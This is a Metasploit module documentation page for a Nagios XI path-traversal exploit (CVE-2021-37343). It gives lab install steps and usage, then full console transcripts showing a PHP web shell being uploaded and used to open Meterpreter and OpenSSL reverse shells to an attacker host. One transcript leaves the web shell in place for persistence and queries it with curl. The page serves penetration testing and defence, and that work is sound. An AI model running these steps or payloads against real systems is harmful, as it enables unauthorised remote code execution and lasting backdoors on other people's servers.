PageRenderTime 60ms CodeModel.GetById 33ms RepoModel.GetById 0ms app.codeStats 0ms

/documentation/modules/exploit/linux/http/nagios_xi_autodiscovery_webshell.md

https://github.com/rapid7/metasploit-framework
Markdown | 226 lines | 188 code | 38 blank | 0 comment | 0 complexity | 8de2681c871a648f4c875eaa4d21eb0f MD5 | raw file
  1. ## Vulnerable Application
  2. ### Description
  3. This module exploits a path traversal issue in Nagios XI before version 5.8.5 (CVE-2021-37343). The path
  4. traversal allows a remote and authenticated administrator to upload a PHP web shell and execute code as
  5. `www-data`. The module achieves this by creating an autodiscovery job with an `id` field containing a
  6. path traversal to a writable and remotely accessible directory, and `custom_ports` field containing
  7. the web shell. A cron file will be created using the attacker's chosen path and name, and the web
  8. shell is embedded in the file.
  9. After the web shell has been written to the victim, this module will then use the webshell to establish
  10. a Meterpreter session or a reverse shell. By default, the web shell is deleted by the module, and the
  11. autodiscovery job is removed as well.
  12. ### Installation
  13. The following was tested on Ubuntu 20.04.
  14. * wget https://assets.nagios.com/downloads/nagiosxi/5/xi-5.8.4.tar.gz
  15. * tar -xvf xi-5.8.4.tar.gz
  16. * cd nagiosxi
  17. * sudo ./fullinstall
  18. The installer will spend a good deal of time installing many things. Upon completion, navigate to
  19. the Web UI, accept license agreements, and configure the administrator username and password.
  20. ## Verification Steps
  21. * Follow the instructions above to install Nagios XI 5.8.4 on Ubuntu 20.04
  22. * Do: `use exploit/linux/http/nagios_xi_autodiscovery_webshell`
  23. * Do: `set RHOST <ip>`
  24. * Do: `set PASSWORD <password>`
  25. * Do: `check`
  26. * Verify the target is flagged as vulnerable
  27. * Do: `set LHOST <ip>`
  28. * Do: `run`
  29. * You should get a Meterpreter session.
  30. ## Options
  31. ### TARGETURI
  32. Specifies base URI. The default value is `/nagiosxi`.
  33. ### USERNAME
  34. The username to log in to the Nagios XI web interface with. The default is `nagiosadmin`.
  35. ### PASSWORD
  36. The password to log in with. Set to `nil` by default.
  37. ### DEPTH
  38. The depth of the path traversal. Default is 10.
  39. ### WEBSHELL_NAME
  40. Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated.
  41. Set to `nil` by default.
  42. ### DELETE_WEBSHELL
  43. Indicates if the web shell should be deleted after the meterpreter session or reverse shell is established.
  44. A user may want to leave behind a web shell for persistence reasons. The default is `true`.
  45. ## Scenarios
  46. ### Nagios XI 5.8.4 - Get a Meterpreter Session
  47. ```
  48. msf6 > use auxiliary/scanner/http/nagios_xi_scanner
  49. msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
  50. RHOST => 10.0.0.6
  51. msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
  52. PASSWORD => labpass1
  53. msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
  54. [*] Attempting to authenticate to Nagios XI...
  55. [+] Successfully authenticated to Nagios XI
  56. [*] Target is Nagios XI with version 5.8.4
  57. [+] The target appears to be vulnerable to the following 1 exploit(s):
  58. [*]
  59. [*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
  60. [*]
  61. [*] Scanned 1 of 1 hosts (100% complete)
  62. [*] Auxiliary module execution completed
  63. msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
  64. [*] Using configured payload linux/x86/meterpreter/reverse_tcp
  65. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
  66. LHOST => 10.0.0.3
  67. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
  68. RHOST => 10.0.0.6
  69. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
  70. PASSWORD => labpass1
  71. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
  72. [*] Started reverse TCP handler on 10.0.0.3:4444
  73. [*] Running automatic check ("set AutoCheck false" to disable)
  74. [*] Attempting to authenticate to Nagios XI...
  75. [+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
  76. [*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
  77. [*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
  78. [*] Testing if web shell installation was successful
  79. [+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
  80. [*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
  81. [*] Sending stage (989032 bytes) to 10.0.0.6
  82. [+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/fJHspzgor.php
  83. [*] Command Stager progress - 100.00% done (700/700 bytes)
  84. [*] Deleting autodiscovery job
  85. [*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44224 ) at 2022-02-05 17:53:27 -0800
  86. meterpreter > shell
  87. Process 800816 created.
  88. Channel 1 created.
  89. uname -a
  90. Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
  91. whoami
  92. www-data
  93. pwd
  94. /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
  95. ```
  96. ### Nagios XI 5.8.4 - Get a reverse shell
  97. ```
  98. msf6 > use auxiliary/scanner/http/nagios_xi_scanner
  99. msf6 auxiliary(scanner/http/nagios_xi_scanner) > set RHOST 10.0.0.6
  100. RHOST => 10.0.0.6
  101. msf6 auxiliary(scanner/http/nagios_xi_scanner) > set PASSWORD labpass1
  102. PASSWORD => labpass1
  103. msf6 auxiliary(scanner/http/nagios_xi_scanner) > run
  104. [*] Attempting to authenticate to Nagios XI...
  105. [+] Successfully authenticated to Nagios XI
  106. [*] Target is Nagios XI with version 5.8.4
  107. [+] The target appears to be vulnerable to the following 1 exploit(s):
  108. [*]
  109. [*] CVE-2021-37343 exploit/linux/http/nagios_xi_autodiscovery_webshell
  110. [*]
  111. [*] Scanned 1 of 1 hosts (100% complete)
  112. [*] Auxiliary module execution completed
  113. msf6 auxiliary(scanner/http/nagios_xi_scanner) > use exploit/linux/http/nagios_xi_autodiscovery_webshell
  114. [*] Using configured payload linux/x86/meterpreter/reverse_tcp
  115. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set target 0
  116. target => 0
  117. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
  118. RHOST => 10.0.0.6
  119. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
  120. LHOST => 10.0.0.3
  121. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
  122. PASSWORD => labpass1
  123. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
  124. [*] Started reverse double SSL handler on 10.0.0.3:4444
  125. [*] Running automatic check ("set AutoCheck false" to disable)
  126. [*] Attempting to authenticate to Nagios XI...
  127. [+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
  128. [*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
  129. [*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
  130. [*] Testing if web shell installation was successful
  131. [+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
  132. [*] Executing Unix Command for cmd/unix/reverse_openssl
  133. [*] Deleting autodiscovery job
  134. [*] Accepted the first client connection...
  135. [*] Accepted the second client connection...
  136. [*] Command: echo nyjlVFXNgWehsWFs;
  137. [*] Writing to socket A
  138. [*] Writing to socket B
  139. [*] Reading from sockets...
  140. [*] Reading from socket B
  141. [*] B: "nyjlVFXNgWehsWFs\n"
  142. [*] Matching...
  143. [*] A is input...
  144. [+] Deleted /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/OalF9GV4AC.php
  145. [*] Command shell session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44226 ) at 2022-02-05 17:56:49 -0800
  146. whoami
  147. www-data
  148. id
  149. uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
  150. pwd
  151. /usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp
  152. ```
  153. ### Nagios XI 5.8.4 - Leave a web shell behind
  154. ```
  155. msf6 > use exploit/linux/http/nagios_xi_autodiscovery_webshell
  156. [*] Using configured payload linux/x86/meterpreter/reverse_tcp
  157. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set RHOST 10.0.0.6
  158. RHOST => 10.0.0.6
  159. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set LHOST 10.0.0.3
  160. LHOST => 10.0.0.3
  161. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set PASSWORD labpass1
  162. PASSWORD => labpass1
  163. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set DELETE_WEBSHELL false
  164. DELETE_WEBSHELL => false
  165. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > set WEBSHELL_NAME lobster.php
  166. WEBSHELL_NAME => lobster.php
  167. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > run
  168. [*] Started reverse TCP handler on 10.0.0.3:4444
  169. [*] Running automatic check ("set AutoCheck false" to disable)
  170. [*] Attempting to authenticate to Nagios XI...
  171. [+] The target appears to be vulnerable. Determined using the self-reported version: 5.8.4
  172. [*] Attempting to grab a CSRF token from /nagiosxi/includes/components/autodiscovery/?mode=newjob
  173. [*] Uploading webshell to /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
  174. [*] Testing if web shell installation was successful
  175. [+] Web shell installed at /nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php
  176. [*] Executing Linux Dropper for linux/x86/meterpreter/reverse_tcp
  177. [*] Sending stage (989032 bytes) to 10.0.0.6
  178. [*] Command Stager progress - 100.00% done (700/700 bytes)
  179. [*] Deleting autodiscovery job
  180. [*] Meterpreter session 1 opened (10.0.0.3:4444 -> 10.0.0.6:44230 ) at 2022-02-05 18:07:14 -0800
  181. meterpreter > quit
  182. [*] Shutting down Meterpreter...
  183. [*] 10.0.0.6 - Meterpreter session 1 closed. Reason: User exit
  184. msf6 exploit(linux/http/nagios_xi_autodiscovery_webshell) > exit
  185. albinolobster@ubuntu:~/metasploit-framework$ curl --insecure https://10.0.0.6/nagiosxi/includes/components/highcharts/exporting-server/temp/lobster.php?cmd=id
  186. 0 9 * * * rm -f '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml'; touch '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch'; sudo /usr/bin/php /usr/local/nagiosxi/scripts/components/autodiscover_new.php --addresses='127.0.0.1/0' --exclude='' --output='../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.xml' --watch='/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.watch' --onlynew=0 --debug=1 --detectos=1 --detecttopo=1 --customports='uid=33(www-data) gid=33(www-data) groups=33(www-data),135(Debian-snmp),1001(nagios),1002(nagcmd)
  187. ' > '/usr/local/nagiosxi/html/includes/components/autodiscovery/jobs/../../../../../../../../../../../../../../../../../../../../../../../../../../../../usr/local/nagiosxi/html/includes/components/highcharts/exporting-server/temp/lobster.php.out' 2>&1 & echo $! > /dev/null 2>&1
  188. ```